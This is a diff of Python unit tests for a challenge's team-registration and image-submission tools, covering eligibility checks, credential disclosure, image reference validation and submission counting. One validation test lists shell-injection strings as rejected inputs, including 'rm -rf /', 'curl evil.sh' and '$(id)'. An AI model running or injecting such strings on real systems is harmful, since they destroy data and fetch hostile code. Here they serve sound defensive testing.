+ self.assertEqual(self._check("alice", "Team A"), (True, ""))
336
+
337
+ def test_not_signed_in_is_refused(self):
338
+ ok, why = self._check("", "Team A")
339
+ self.assertFalse(ok)
340
+ self.assertIn("Sign in", why)
341
+
342
+ def test_a_missing_team_name_is_refused(self):
343
+ ok, why = self._check("alice", " ")
344
+ self.assertFalse(ok)
345
+ self.assertIn("team name", why)
346
+
347
+ def test_a_wrong_team_for_this_account_lists_the_names_it_does_have(self):
348
+ # This is the typo case, and it must be recoverable without an email.
349
+ ok, why = self._check("alice", "Team Z")
350
+ self.assertFalse(ok)
351
+ self.assertIn("team a", why)
352
+ self.assertNotIn("not on the test-phase shortlist", why)
353
+
354
+ def test_an_account_that_never_competed_is_told_so_specifically(self):
355
+ ok, why = self._check("mallory", "Team A")
356
+ self.assertFalse(ok)
357
+ self.assertIn("No scored validation submission", why)
358
+
359
+ def test_a_real_team_that_is_not_shortlisted_is_refused_as_not_shortlisted(self):
360
+ ok, why = self._check("bob", "Team B")
361
+ self.assertFalse(ok)
362
+ self.assertIn("not on the test-phase shortlist", why)
363
+
364
+ def test_a_seat_in_one_subtrack_is_not_a_seat_in_another(self):
365
+ # The team holds convqa/large and longqa/small. Registering the two
366
+ # crossed combinations must be refused, and the refusal must name the
367
+ # seats it does hold, because the likely cause is the wrong radio.
368
+ for track, division in [("convqa", "small"), ("longqa", "large")]:
369
+ with self.subTest(sub=f"{track}/{division}"):
370
+ ok, why = self._check("alice", "Team A", track, division)
371
+ self.assertFalse(ok)
372
+ self.assertIn("convqa/large", why)
373
+ self.assertIn("longqa/small", why)
374
+
375
+ def test_each_held_seat_is_accepted(self):
376
+ for track, division in [("convqa", "large"), ("longqa", "small")]:
377
+ with self.subTest(sub=f"{track}/{division}"):
378
+ self.assertEqual((True, ""), self._check("alice", "Team A", track, division))
379
+
380
+ def test_a_track_the_test_phase_does_not_run_is_refused(self):
381
+ ok, why = self._check("alice", "Team A", "egoconv", "large")
382
+ self.assertFalse(ok)
383
+ self.assertIn("does not take", why)
384
+
385
+ def test_signing_in_alone_does_not_admit_someone_elses_team(self):
386
+ # The pairing is the control: bob is a real competitor, team a is a real
387
+ # shortlisted team, and bob still must not collect team a's credentials.
388
+ ok, why = self._check("bob", "Team A")
389
+ self.assertFalse(ok)
390
+ self.assertIn("not under", why)
391
+
392
+
393
+ class LoadShortlistTest(unittest.TestCase):
394
+ def test_it_reads_the_report_the_organizer_tool_emits(self):
395
+ report = {
396
+ "subtracks": [
397
+ {
398
+ "track": "convqa",
399
+ "division": "large",
400
+ "shortlist": [{"team_name": "Team A"}, {"team_name": "fufu"}],
401
+ }
402
+ ]
403
+ }
404
+ with mock.patch.object(rt, "_read_json", return_value=report):
405
+ got = rt.load_shortlist(None)
406
+ self.assertIn("convqa/large", got["team a"])
407
+ self.assertIn("fufu", got)
408
+
409
+ def test_it_also_reads_a_hand_edited_team_map(self):
410
+ # The organizers edit the generated list before it becomes the invitation
411
+ # list, and must not have to preserve a schema to do it.
412
+ with mock.patch.object(rt, "_read_json", return_value={"Team A": ["convqa/large"]}):
413
+ got = rt.load_shortlist(None)
414
+ self.assertEqual(got, {"team a": {"convqa/large": {}}})
415
+
416
+ def test_an_unreadable_shape_raises_rather_than_seating_nobody(self):
417
+ with mock.patch.object(rt, "_read_json", return_value=["Team A"]):
418
+ with self.assertRaises(ValueError):
419
+ rt.load_shortlist(None)
420
+
421
+
422
+ class ValidationPairsTest(unittest.TestCase):
423
+ def setUp(self):
424
+ td = tempfile.TemporaryDirectory()
425
+ self.addCleanup(td.cleanup)
426
+ self.tmp = td.name
427
+
428
+ def _pairs(self, results):
429
+ api = FakeApi(results=results)
430
+ dl = _download_factory(self.tmp, api, {}, {})
431
+ with mock.patch("huggingface_hub.hf_hub_download", dl):
432
+ return rt.validation_pairs(api)
433
+
434
+ def test_only_scored_submissions_count(self):
435
+ pairs = self._pairs(
436
+ [
437
+ {"status": "FINISHED", "hf_user": "alice", "team_name": "Team A"},
438
+ {"status": "PENDING", "hf_user": "bob", "team_name": "Team B"},
439
+ ]
440
+ )
441
+ self.assertEqual(pairs, {("alice", "team a")})
442
+
443
+ def test_one_unreadable_result_does_not_deny_every_team(self):
444
+ api = FakeApi(results=[{"status": "FINISHED", "hf_user": "a", "team_name": "T"}])
445
+
446
+ def dl(repo_id, filename, repo_type=None, token=None):
447
+ raise OSError("transient")
448
+
449
+ with mock.patch("huggingface_hub.hf_hub_download", dl):
450
+ self.assertEqual(rt.validation_pairs(api), set())
451
+
452
+
453
+ class IssueTest(unittest.TestCase):
454
+ """The full path, including the two properties that matter most."""
455
+
456
+ def setUp(self):
457
+ td = tempfile.TemporaryDirectory()
458
+ self.addCleanup(td.cleanup)
459
+ self.tmp = td.name
460
+ patcher = mock.patch.object(config, "TEST_PHASE_OPEN", True)
461
+ patcher.start()
462
+ self.addCleanup(patcher.stop)
463
+ self.results = [
464
+ {"status": "FINISHED", "hf_user": "alice", "team_name": "Team A"},
465
+ {"status": "FINISHED", "hf_user": "bob", "team_name": "Team B"},
466
+ ]
467
+ self.shortlist = {"subtracks": [
468
+ {"track": "convqa", "division": "large", "shortlist": [
469
+ {"team_name": "Team A", "model_name": "ValModel",
470
+ "total_params": 7_000_000_000}]},
471
+ {"track": "longqa", "division": "small", "shortlist": [
472
+ {"team_name": "Team A", "model_name": "ValSmall",
473
+ "total_params": 1_000_000_000}]},
474
+ ]}
475
+ self.credentials = {"Team A": CRED}
476
+
477
+ def _issue(self, user, team, params=7, api=None, track="convqa",
478
+ division="large", members="Ada Lovelace, ada@example.com",
479
+ poc="ada@example.com", model="TestModel"):
480
+ api = api or FakeApi(results=self.results)
481
+ dl = _download_factory(self.tmp, api, self.shortlist, self.credentials)
482
+ with mock.patch("huggingface_hub.hf_hub_download", dl):
483
+ ok, msg = rt.issue(
484
+ api, user, team, track, division, members, poc, model, params
485
+ )
486
+ return ok, msg, api
487
+
488
+ def test_a_verified_team_is_shown_its_credentials(self):
489
+ ok, msg, _ = self._issue("alice", "Team A")
490
+ self.assertTrue(ok, msg)
491
+ self.assertIn(REPO_URI, msg)
492
+ self.assertIn(KEY_ID, msg)
493
+ self.assertIn(SECRET, msg)
494
+ self.assertIn("EgoConv", msg)
495
+
496
+ def test_the_declared_size_is_shown_back_to_the_team(self):
497
+ ok, msg, _ = self._issue("alice", "Team A", params=7)
498
+ self.assertTrue(ok, msg)
499
+ self.assertIn("7B total parameters", msg)
500
+
501
+ def test_the_disclosure_is_recorded_with_the_declaration_and_no_secret(self):
502
+ # 1.5B is a Small model, so it must be registered under longqa/small;
503
+ # declaring it as Large is now refused by check_division.
504
+ ok, _, api = self._issue(
505
+ "alice", "Team A", params=1.5, track="longqa", division="small"
506
+ )
507
+ self.assertTrue(ok)
508
+ self.assertEqual(len(api.uploads), 1)
509
+ row = json.loads(api.uploads[0]["path_or_fileobj"].getvalue().decode())
510
+ self.assertEqual(row["hf_user"], "alice")
511
+ self.assertEqual(row["declared_total_params"], 1_500_000_000)
512
+ self.assertEqual(row["access_key_id"], KEY_ID)
513
+ self.assertNotIn("secret_access_key", row)
514
+ self.assertNotIn(SECRET, json.dumps(row))
515
+
516
+ def test_the_model_name_is_required_and_recorded(self):
517
+ ok, msg, _ = self._issue("alice", "Team A", model=" ")
518
+ self.assertFalse(ok)
519
+ self.assertIn("name of the model", msg)
520
+
521
+ ok, _, api = self._issue("alice", "Team A", model="MyNewModel-8B")
522
+ self.assertTrue(ok)
523
+ row = json.loads(api.uploads[0]["path_or_fileobj"].getvalue().decode())
524
+ self.assertEqual("MyNewModel-8B", row["model_name"])
525
+
526
+ def test_the_roster_and_its_point_of_contact_reach_the_ledger(self):
527
+ ok, _, api = self._issue(
528
+ "alice", "Team A",
529
+ members="Ada Lovelace, ada@example.com\nAlan Turing, alan@example.org",
530
+ poc="alan@example.org",
531
+ )
532
+ self.assertTrue(ok)
533
+ row = json.loads(api.uploads[0]["path_or_fileobj"].getvalue().decode())
534
+ self.assertEqual(
535
+ [{"name": "Ada Lovelace", "email": "ada@example.com"},
536
+ {"name": "Alan Turing", "email": "alan@example.org"}],
537
+ row["members"],
538
+ )
539
+ # The contact of record is the signed-in account and the human behind
540
+ # it, together: that account is the one matched against the shortlist,
541
+ # so the address we write to belongs to someone verified to hold a seat.
542
+ self.assertEqual(
543
+ {"hf_user": "alice", "name": "Alan Turing", "email": "alan@example.org"},
544
+ row["poc"],
545
+ )
546
+ self.assertEqual("alice", row["hf_user"])
547
+
548
+ def test_a_point_of_contact_off_the_roster_is_refused_before_the_ledger(self):
549
+ ok, msg, api = self._issue(
550
+ "alice", "Team A",
551
+ members="Ada, ada@example.com", poc="stranger@example.com",
552
+ )
553
+ self.assertFalse(ok)
554
+ self.assertIn("not one of the team members", msg)
555
+ self.assertEqual([], api.uploads)
556
+
557
+ def test_the_row_records_the_validation_entry_it_is_compared_against(self):
558
+ ok, _, api = self._issue("alice", "Team A")
559
+ self.assertTrue(ok)
560
+ row = json.loads(api.uploads[0]["path_or_fileobj"].getvalue().decode())
561
+ self.assertEqual("ValModel", row["val_model_name"])
562
+ self.assertEqual(7_000_000_000, row["val_total_params"])
563
+ self.assertFalse(row["size_discrepancy"])
564
+
565
+ def test_a_different_model_is_accepted_and_the_seat_is_shown(self):
566
+ # The decision on record: a team may bring a different model. This must
567
+ # succeed, and the page must say which entry earned the seat.
568
+ ok, msg, _ = self._issue("alice", "Team A", model="CompletelyDifferent")
569
+ self.assertTrue(ok, msg)
570
+ self.assertIn("ValModel", msg)
571
+ self.assertIn("do not have to submit that same model", msg)
572
+
573
+ def test_an_order_of_magnitude_change_is_noted_but_still_succeeds(self):
574
+ # 100B against the 7B this seat was won with: 14x, and still Large, so
575
+ # the division check does not intercept it.
576
+ ok, msg, api = self._issue("alice", "Team A", params=100)
577
+ self.assertTrue(ok, msg)
578
+ self.assertIn("more than 10x", msg)
579
+ row = json.loads(api.uploads[0]["path_or_fileobj"].getvalue().decode())
580
+ self.assertTrue(row["size_discrepancy"])
581
+
582
+ def test_a_tiny_declaration_inside_small_is_noted(self):
583
+ # The case this exists for. The longqa/small seat was won with a 1B
584
+ # declaration; 1M is inside the Small band, so the division check lets
585
+ # it through and only the comparison against validation catches it.
586
+ # This is the EgoProactive pattern: near-perfect scores declared at
587
+ # 91k and 1M parameters.
588
+ ok, msg, api = self._issue(
589
+ "alice", "Team A", params=0.001, track="longqa", division="small"
590
+ )
591
+ self.assertTrue(ok, msg)
592
+ self.assertIn("more than 10x", msg)
593
+ row = json.loads(api.uploads[0]["path_or_fileobj"].getvalue().decode())
594
+ self.assertTrue(row["size_discrepancy"])
595
+
596
+ def test_a_declaration_the_division_check_rejects_never_reaches_the_ledger(self):
597
+ # 7M declared as Large: refused on the division, and the clearer message
598
+ # wins over the size note.
599
+ ok, msg, api = self._issue("alice", "Team A", params=0.007)
600
+ self.assertFalse(ok)
601
+ self.assertIn("more than 2B", msg)
602
+ self.assertEqual([], api.uploads)
603
+
604
+ def test_nothing_is_disclosed_if_the_ledger_write_fails(self):
605
+ # A shown-but-unlogged credential is permanently unaccountable, so the
606
+ # ledger failing must cost the team a retry, not the audit trail.
607
+ api = FakeApi(results=self.results, fail_upload=True)
608
+ ok, msg, _ = self._issue("alice", "Team A", api=api)
609
+ self.assertFalse(ok)
610
+ self.assertNotIn(SECRET, msg)
611
+ self.assertNotIn(KEY_ID, msg)
612
+
613
+ def test_no_refusal_path_leaks_any_part_of_a_credential(self):
614
+ # Swept across every refusal rather than the ones that look risky.
615
+ cases = [
616
+ ("bob", "Team B", 7), # real competitor, not shortlisted
617
+ ("bob", "Team A", 7), # right team name, wrong account
618
+ ("mallory", "Team A", 7), # never competed
619
+ ("alice", "", 7), # no team name
620
+ ("alice", "Team A", None), # no declared size
621
+ ("alice", "Team A", 0), # zero declared size
622
+ ("alice", "Team A", "abc"), # malformed size
623
+ ]
624
+ for user, team, params in cases:
625
+ ok, msg, _ = self._issue(user, team, params)
626
+ self.assertFalse(ok, f"{user}/{team}/{params} should be refused")
627
+ for leak in (SECRET, KEY_ID, REPO_URI):
628
+ self.assertNotIn(leak, msg, f"{user}/{team}/{params} leaked a credential")
629
+
630
+ def test_a_bad_declaration_is_refused_before_any_network_read(self):
631
+ # An instant answer for a typo, and a malformed registration that never
632
+ # reaches the ledger.
633
+ #
634
+ # Asserted by COUNTING the reads, not by raising from the fake: issue()
635
+ # wraps the dataset reads in `except Exception`, so an exception thrown
636
+ # from the download is swallowed and returns a refusal that looks
637
+ # identical to this one. A control that reorders the parse proved that
638
+ # version of this test vacuous.
639
+ api = FakeApi(results=self.results)
640
+ calls = []
641
+ real = _download_factory(self.tmp, api, self.shortlist, self.credentials)
642
+
643
+ def counting(*a, **kw):
644
+ calls.append(a[1] if len(a) > 1 else kw.get("filename"))
645
+ return real(*a, **kw)
646
+
647
+ with mock.patch("huggingface_hub.hf_hub_download", counting):
648
+ ok, msg = rt.issue(api, "alice", "Team A", "convqa", "large",
649
+ "Ada, ada@example.com", "ada@example.com",
650
+ "TestModel", None)
651
+ self.assertFalse(ok)
652
+ self.assertEqual(calls, [], "read the datasets despite a bad declaration")
653
+ self.assertEqual(api.uploads, [])
654
+ self.assertIn("frozen backbone", msg)
655
+
656
+ def test_a_shortlisted_team_with_no_deposited_key_is_not_blamed(self):
657
+ self.credentials = {}
658
+ ok, msg, api = self._issue("alice", "Team A")
659
+ self.assertFalse(ok)
660
+ self.assertIn("on our side", msg)
661
+ self.assertEqual(api.uploads, [])
662
+
663
+ def test_registration_is_closed_until_the_phase_opens(self):
664
+ with mock.patch.object(config, "TEST_PHASE_OPEN", False):
665
+ ok, msg, api = self._issue("alice", "Team A")
666
+ self.assertFalse(ok)
667
+ self.assertEqual(api.uploads, [])
668
+
669
+ def test_re_registering_shows_the_same_credentials_and_logs_both(self):
670
+ # A team that loses the page must be able to get it back, and the ledger
671
+ # is the record of how many times a key was shown, not a lock.
672
+ api = FakeApi(results=self.results)
673
+ first = self._issue("alice", "Team A", api=api)
674
+ second = self._issue("alice", "Team A", api=api)
675
+ self.assertTrue(first[0] and second[0])
676
+ self.assertEqual(first[1], second[1])
677
+ self.assertEqual(len(api.uploads), 2)
678
+
679
+ def test_eligibility_data_being_unavailable_does_not_read_as_ineligible(self):
680
+ api = FakeApi(results=self.results)
681
+
682
+ def explode(*a, **kw):
683
+ raise OSError("hub down")
684
+
685
+ with mock.patch("huggingface_hub.hf_hub_download", explode):
686
+ ok, msg = rt.issue(api, "alice", "Team A", "convqa", "large",
687
+ "Ada, ada@example.com", "ada@example.com",
688
+ "TestModel", 7)
689
+ self.assertFalse(ok)
690
+ self.assertIn("retry", msg)
691
+ self.assertNotIn("not on the test-phase shortlist", msg)
692
+ # The raw exception carries private repo paths; it must not reach a user.
693
+ self.assertNotIn("hub down", msg)
694
+
695
+
696
+ if __name__ == "__main__":
697
+ unittest.main()
tests/test_submit_test.py ADDED
@@ -0,0 +1,682 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """Tests for the test-phase Submit path.
3
+
4
+ Hermetic: no network, no HF. The HfApi and hf_hub_download the module reaches for
5
+ are injected as fakes, which is why count_test_submissions() takes an api object
6
+ rather than building one.
7
+
8
+ The test that matters most here is the last class. This module writes a
9
+ request.json that the organizers' evaluation worker, which lives outside this
10
+ repository, has to accept, and nothing at import time can check that. So the worker's
11
+ contract is restated as a fixture and asserted against, and the assertion names
12
+ the file to change on the other side when it moves.
13
+
14
+ python3 tests/test_submit_test.py
15
+ """
16
+
17
+ from __future__ import annotations
18
+
19
+ import json
20
+ import os
21
+ import re
22
+ import sys
23
+ import tempfile
24
+ import unittest
25
+ from unittest import mock
26
+
27
+ sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
28
+
29
+ import config # noqa: E402
30
+ import submit_test as st # noqa: E402
31
+
32
+
33
+ REGISTRY = "123456789012.dkr.ecr.us-east-2.amazonaws.com"
34
+ REPO = "wearable-ai-2026/team-a"
35
+ REF = f"{REGISTRY}/{REPO}"
36
+ DIGEST = "sha256:" + "a" * 64
37
+
38
+
39
+ class FakeApi:
40
+ """Stands in for HfApi. Records uploads; serves a canned file listing."""
41
+
42
+ def __init__(self, files=None, token="t"):
43
+ self._files = files or []
44
+ self.token = token
45
+ self.uploads = []
46
+
47
+ def list_repo_files(self, repo_id, repo_type=None):
48
+ return list(self._files)
49
+
50
+ def upload_file(self, *, path_or_fileobj, path_in_repo, repo_id, repo_type,
51
+ commit_message):
52
+ body = path_or_fileobj.read() if hasattr(path_or_fileobj, "read") else path_or_fileobj
53
+ self.uploads.append((path_in_repo, body, commit_message))
54
+
55
+
56
+ class ParseImageRefTest(unittest.TestCase):
57
+ def test_a_well_formed_pair_is_accepted(self):
58
+ ok, why = st.parse_image_ref(REF, DIGEST)
59
+ self.assertTrue(ok, why)
60
+
61
+ def test_surrounding_whitespace_is_tolerated(self):
62
+ ok, why = st.parse_image_ref(f" {REF} ", f"\t{DIGEST}\n")
63
+ self.assertTrue(ok, why)
64
+
65
+ def test_an_empty_reference_is_named(self):
66
+ self.assertIn("Image reference", st.parse_image_ref("", "")[1])
67
+
68
+ def test_a_bare_repository_with_nothing_to_pin_it_is_refused(self):
69
+ # Re-pointed 2026-08-06: the digest used to be its own field, so a bare
70
+ # repository was valid input. One field now carries both parts, and a
71
+ # repository on its own names no particular image.
72
+ ok, why = st.parse_image_ref(REF, "")
73
+ self.assertFalse(ok)
74
+ self.assertIn("Add the tag you pushed, or the digest", why)
75
+
76
+ def test_the_legacy_separate_digest_field_still_works(self):
77
+ # An older client, or a participant following older instructions, sends
78
+ # the two parts separately. That must not be turned away.
79
+ self.assertTrue(st.parse_image_ref(REF, DIGEST)[0])
80
+
81
+ def test_a_reference_carrying_its_own_digest_is_the_normal_form(self):
82
+ # Re-pointed 2026-08-06. This used to assert the opposite: the form had
83
+ # two fields and a reference carrying its own digest was refused. It is
84
+ # now what participants are asked for, because it is exactly what
85
+ # `docker push` prints.
86
+ self.assertTrue(st.parse_image_ref(f"{REF}@{DIGEST}", "")[0])
87
+
88
+ def test_giving_the_digest_twice_is_refused_rather_than_guessed_at(self):
89
+ ok, why = st.parse_image_ref(f"{REF}@{DIGEST}", "sha256:" + "b" * 64)
90
+ self.assertFalse(ok)
91
+ self.assertIn("Two different digests", why)
92
+
93
+ def test_a_tag_is_refused_while_the_worker_cannot_resolve_one(self):
94
+ # The worker validates image_digest against ^sha256:...$ and would
95
+ # reject a tag at intake, so accepting one here first would let a team
96
+ # spend a submission on a reference that can never be scored.
97
+ self.assertFalse(config.TEST_ACCEPT_IMAGE_TAG)
98
+ ok, why = st.parse_image_ref(f"{REF}:v1", "")
99
+ self.assertFalse(ok)
100
+ self.assertIn("Give the digest rather than the tag", why)
101
+
102
+ def test_flipping_one_flag_is_what_enables_tags(self):
103
+ # Pins the claim in the config comment: the Space side is written and
104
+ # tested, and turning it on is a one-constant change made together with
105
+ # the worker.
106
+ with mock.patch.object(config, "TEST_ACCEPT_IMAGE_TAG", True):
107
+ self.assertTrue(st.parse_image_ref(f"{REF}:v1", "")[0])
108
+ self.assertTrue(st.parse_image_ref(f"{REF}:v1.2_3-rc4", "")[0])
109
+ # A tag and a digest together is ambiguous either way.
110
+ self.assertFalse(st.parse_image_ref(f"{REF}:v1", DIGEST)[0])
111
+ # Still an ECR repository, still a usable tag.
112
+ self.assertFalse(st.parse_image_ref("docker.io/x/y:v1", "")[0])
113
+ self.assertFalse(st.parse_image_ref(f"{REF}:-nope", "")[0])
114
+
115
+ def test_a_registry_port_does_not_get_mistaken_for_a_tag(self):
116
+ # Splitting on the first colon would tear `host:5000/repo` apart. The
117
+ # split happens after the last slash for exactly this reason.
118
+ repo, sep, suffix = st._split_image_ref("host:5000/team/img")
119
+ self.assertEqual(("host:5000/team/img", "", ""), (repo, sep, suffix))
120
+ repo, sep, suffix = st._split_image_ref("host:5000/team/img:v1")
121
+ self.assertEqual(("host:5000/team/img", ":", "v1"), (repo, sep, suffix))
122
+
123
+ def test_non_ecr_registries_are_refused(self):
124
+ for bad in (
125
+ "docker.io/evil/image",
126
+ "ghcr.io/team/model",
127
+ "registry.example.com/x",
128
+ f"http://{REGISTRY}/{REPO}",
129
+ f"{REGISTRY}/UPPERCASE",
130
+ "12345.dkr.ecr.us-east-2.amazonaws.com/short-account",
131
+ ):
132
+ with self.subTest(ref=bad):
133
+ self.assertFalse(st.parse_image_ref(bad, DIGEST)[0])
134
+
135
+ def test_shell_metacharacters_cannot_survive_validation(self):
136
+ # The reference reaches a subprocess on the organizers' side.
137
+ for bad in (f"{REF}; rm -rf /", f"{REF} && curl evil.sh", f"{REF}$(id)", f"{REF}`id`"):
138
+ with self.subTest(ref=bad):
139
+ self.assertFalse(st.parse_image_ref(bad, DIGEST)[0])
140
+
141
+ def test_malformed_digests_are_refused(self):
142
+ for bad in ("latest", "sha256:tooshort", "sha256:" + "z" * 64,
143
+ DIGEST + "x", "sha256:" + "A" * 64, "md5:" + "a" * 32):
144
+ with self.subTest(digest=bad):
145
+ self.assertFalse(st.parse_image_ref(REF, bad)[0])
146
+
147
+
148
+ class ValidateOnlyTest(unittest.TestCase):
149
+ def _call(self, **over):
150
+ kw = dict(track="convqa", division="large", total_params=8_000_000_000,
151
+ active_params=8_000_000_000, image_ref=REF, image_digest=DIGEST)
152
+ kw.update(over)
153
+ return st.validate_only(**kw)
154
+
155
+ def test_a_valid_registration_passes_and_states_the_advertised_size(self):
156
+ """Re-pointed 2026-08-06 from the per-division cap.
157
+
158
+ The organizers publish ONE number for both divisions and the form does
159
+ not refuse an over-size image, so the message must state the advertised
160
+ size rather than TEST_IMAGE_SIZE_CAPS_GB[division]. It must also say
161
+ WHICH quantity that number is: the participant side measures the
162
+ uncompressed image on disk and the organizer side reads the compressed
163
+ size from the registry, and the two differ by enough to mislead.
164
+ """
165
+ ok, msg = self._call()
166
+ self.assertTrue(ok, msg)
167
+ self.assertIn(str(config.TEST_IMAGE_ADVERTISED_GB), msg)
168
+ self.assertIn("compressed", msg)
169
+
170
+ def test_both_divisions_are_told_the_same_size(self):
171
+ # A per-division number here would contradict the Submit tab and guide.
172
+ large = self._call(division="large")[1]
173
+ small = self._call(
174
+ division="small", total_params=1_000_000_000, active_params=1_000_000_000
175
+ )[1]
176
+ for msg in (large, small):
177
+ self.assertIn(str(config.TEST_IMAGE_ADVERTISED_GB), msg)
178
+
179
+ def test_unknown_track_and_division_are_refused(self):
180
+ self.assertFalse(self._call(track="egoconv")[0])
181
+ self.assertFalse(self._call(division="medium")[0])
182
+
183
+ def test_the_declared_division_must_match_the_param_count(self):
184
+ ok, why = self._call(division="small", total_params=8_000_000_000,
185
+ active_params=8_000_000_000)
186
+ self.assertFalse(ok)
187
+ self.assertIn("large", why)
188
+
189
+ def test_active_params_must_not_exceed_total(self):
190
+ ok, why = self._call(active_params=9_000_000_000)
191
+ self.assertFalse(ok)
192
+ self.assertIn("active_params", why)
193
+
194
+ def test_a_bad_image_reference_fails_validation_not_just_submit(self):
195
+ # The dry-run button must catch this, or a team spends a slot to learn it.
196
+ self.assertFalse(self._call(image_ref="docker.io/x/y")[0])
197
+
198
+
199
+ class CountTestSubmissionsTest(unittest.TestCase):
200
+ """Which request states hold a slot, and whose."""
201
+
202
+ def setUp(self):
203
+ self._tmp = tempfile.TemporaryDirectory()
204
+ self.addCleanup(self._tmp.cleanup)
205
+ self.records = {}
206
+ patch = mock.patch.object(st, "hf_hub_download", self._download)
207
+ patch.start()
208
+ self.addCleanup(patch.stop)
209
+
210
+ def _download(self, repo_id, path, repo_type=None, token=None):
211
+ local = os.path.join(self._tmp.name, path.replace("/", "_"))
212
+ payload = self.records[path]
213
+ with open(local, "w", encoding="utf-8") as fh:
214
+ fh.write(payload if isinstance(payload, str) else json.dumps(payload))
215
+ return local
216
+
217
+ def _add(self, sid, status, hf_user="team_a", track="convqa", division="large"):
218
+ path = f"requests/test/{track}/{division}/{sid}/request.json"
219
+ self.records[path] = {"submission_id": sid, "hf_user": hf_user,
220
+ "track": track, "status": status}
221
+ return path
222
+
223
+ def _count(self, hf_user="team_a", track="convqa", division="large"):
224
+ return st.count_test_submissions(
225
+ FakeApi(list(self.records)), hf_user, track, division
226
+ )
227
+
228
+ def test_pending_finished_and_failed_each_hold_a_slot(self):
229
+ self._add("s1", "PENDING")
230
+ self._add("s2", "FINISHED")
231
+ self._add("s3", "FAILED")
232
+ self.assertEqual(3, self._count())
233
+
234
+ def test_the_two_divisions_of_one_track_are_counted_separately(self):
235
+ # A sub-track is (track, division). Counting on track alone silently
236
+ # halved the allowance for any team entering both divisions, which is
237
+ # stricter than the published rules.
238
+ self._add("s1", "PENDING", division="large")
239
+ self._add("s2", "FINISHED", division="large")
240
+ self._add("s3", "PENDING", division="small")
241
+ self.assertEqual(2, self._count(division="large"))
242
+ self.assertEqual(1, self._count(division="small"))
243
+
244
+ def test_a_full_division_does_not_block_the_other(self):
245
+ for i in range(config.MAX_TEST_SUBMISSIONS_PER_TRACK):
246
+ self._add(f"L{i}", "FINISHED", division="large")
247
+ self.assertEqual(config.MAX_TEST_SUBMISSIONS_PER_TRACK,
248
+ self._count(division="large"))
249
+ self.assertEqual(0, self._count(division="small"))
250
+
251
+ def test_another_track_is_still_counted_separately(self):
252
+ self._add("s1", "PENDING", track="convqa", division="large")
253
+ self._add("s2", "PENDING", track="longqa", division="large")
254
+ self.assertEqual(1, self._count(track="convqa", division="large"))
255
+ self.assertEqual(1, self._count(track="longqa", division="large"))
256
+
257
+ def test_a_rejected_submission_does_not_hold_a_slot(self):
258
+ self._add("s1", "REJECTED")
259
+ self._add("s2", "FINISHED")
260
+ self.assertEqual(1, self._count())
261
+
262
+ def test_another_teams_submissions_are_not_counted(self):
263
+ for i in range(3):
264
+ self._add(f"o{i}", "FINISHED", hf_user="team_b")
265
+ self.assertEqual(0, self._count())
266
+
267
+ def test_another_track_is_not_counted(self):
268
+ for i in range(3):
269
+ self._add(f"l{i}", "FINISHED", track="longqa")
270
+ self.assertEqual(0, self._count("team_a", "convqa"))
271
+
272
+ def test_both_divisions_do_NOT_count_against_each_other(self):
273
+ # Re-pointed 2026-08-05. This previously asserted that Small and Large
274
+ # shared one allowance ("count_against_one_track"). The published rules
275
+ # say the limit is per SUB-TRACK, so a team entering both divisions gets
276
+ # the full allowance in each. Kept rather than deleted so the reversal is
277
+ # visible: the old semantics were deliberate, not an oversight.
278
+ self._add("s1", "PENDING", division="large")
279
+ self._add("s2", "PENDING", division="small")
280
+ self.assertEqual(1, self._count(division="large"))
281
+ self.assertEqual(1, self._count(division="small"))
282
+
283
+
284
+ def test_val_phase_requests_are_not_counted(self):
285
+ self.records["requests/val/convqa/large/v1/request.json"] = {
286
+ "submission_id": "v1", "hf_user": "team_a", "track": "convqa",
287
+ "status": "FINISHED"}
288
+ self.assertEqual(0, self._count())
289
+
290
+ def test_an_unreadable_request_is_skipped_rather_than_blocking_a_submit(self):
291
+ self._add("s1", "FINISHED")
292
